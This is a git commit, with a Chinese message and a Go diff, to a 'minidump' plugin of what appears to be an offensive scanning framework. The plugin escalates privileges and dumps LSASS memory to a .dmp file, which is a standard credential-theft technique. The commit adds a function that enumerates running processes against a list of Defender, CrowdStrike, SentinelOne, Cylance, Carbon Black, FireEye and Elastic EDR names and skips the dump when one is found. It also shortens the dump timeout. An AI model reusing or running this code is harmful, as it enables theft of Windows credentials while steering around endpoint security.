fix: minidump 增加杀软检测和缩短超时,防止 hang 导致系统崩溃

- 新增 isAVBlocking 检测 Defender/EDR 进程,发现活跃杀软直接跳过
- dump 超时从 120 秒缩短到 15 秒(正常 dump 几秒完成)
- 三层防护:杀软检测 → 权限检测 → 超时兜底
This commit is contained in:
ZacharyZcR
2026-05-16 06:13:47 +08:00
parent 231563e82b
commit ec10097e76
+53 -2
View File
@@ -152,6 +152,16 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
}
output.WriteString("✓ 权限提升成功\n")
// 检测杀软——Defender 等会拦截 LSASS dump 导致 API hang
if p.isAVBlocking() {
output.WriteString("检测到活跃的杀软防护,LSASS dump 大概率被拦截,跳过\n")
return &plugins.Result{
Success: false,
Output: output.String(),
Error: errors.New("杀软防护活跃,跳过 LSASS dump"),
}
}
// 创建转储文件
outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
output.WriteString(fmt.Sprintf("准备创建转储文件: %s\n", outputPath))
@@ -159,8 +169,8 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
// 执行转储
output.WriteString("开始执行内存转储...\n")
// 创建带超时的context
dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second)
// 创建带超时的context(正常 dump 几秒完成,超过 15 秒说明被拦截)
dumpCtx, cancel := context.WithTimeout(ctx, 15*time.Second)
defer cancel()
err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath)
@@ -515,6 +525,47 @@ func (pm *ProcessManager) closeHandle(handle uintptr) {
}
}
// isAVBlocking 检测是否有杀软会拦截 LSASS dump
func (p *MiniDumpPlugin) isAVBlocking() bool {
avProcesses := []string{
"MsMpEng.exe", "MsSense.exe",
"CylanceSvc.exe",
"csfalconservice.exe",
"SentinelServiceHost.exe", "SentinelAgent.exe",
"xagt.exe",
"elastic-endpoint.exe",
"cb.exe", "CbDefense.exe",
}
snapshot, err := p.kernel32.FindProc("CreateToolhelp32Snapshot")
if err != nil {
return false
}
handle, _, _ := snapshot.Call(TH32CS_SNAPPROCESS, 0)
if handle == INVALID_HANDLE_VALUE {
return false
}
defer p.kernel32.MustFindProc("CloseHandle").Call(handle)
first, _ := p.kernel32.FindProc("Process32FirstW")
next, _ := p.kernel32.FindProc("Process32NextW")
var entry PROCESSENTRY32
entry.dwSize = uint32(unsafe.Sizeof(entry))
ret, _, _ := first.Call(handle, uintptr(unsafe.Pointer(&entry)))
for ret != 0 {
name := syscall.UTF16ToString(entry.szExeFile[:])
for _, av := range avProcesses {
if strings.EqualFold(name, av) {
return true
}
}
ret, _, _ = next.Call(handle, uintptr(unsafe.Pointer(&entry)))
}
return false
}
// 注册插件
func init() {
RegisterLocalPlugin("minidump", func() Plugin {